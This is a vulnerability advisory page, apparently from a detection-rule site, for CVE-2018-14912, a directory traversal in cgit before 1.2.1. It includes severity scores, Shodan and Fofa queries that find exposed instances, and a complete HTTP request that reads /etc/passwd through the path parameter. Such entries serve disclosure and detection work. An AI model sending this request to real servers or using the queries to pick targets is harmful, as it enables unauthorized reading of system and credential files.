🔙 목록으로 돌아가기

CVE-2018-14912: cgit < 1.2.1 - Directory Traversal

Titlecgit < 1.2.1 - Directory Traversal
Author0x_Akoko
SeverityHigh
ImpactUnauthenticated attackers can access arbitrary files on the server through path traversal in cgit when HTTP clone functionality is enabled, potentially exposing sensitive repository data, source code, configuration files, and credentials.
RemediationUpgrade cgit to version 1.2.1 or later to mitigate the vulnerability.
CVSS Score7.5
EPSS Score0.91584
CVE IDCVE-2018-14912
CWE IDCWE-22
Shodan Queryhttp.title:"git repository browser"
Fofa Querytitle="git repository browser"
Tags cve cve2018 cgit lfi cgit_project vkev vuln

🔍 Vulnerability Description

cGit < 1.2.1 via cgit_clone_objects has a directory traversal vulnerability when enable-http-clone=1 is not turned off, as demonstrated by a cgit/cgit.cgi/git/objects/?path=../ request.

🌐 HTTP Request

GET /cgit/cgit.cgi/git/objects/?path=../../../../../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0, Win64, x64, rv:140.0) Gecko/20100101 Firefox/140.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-14912.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-14912.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A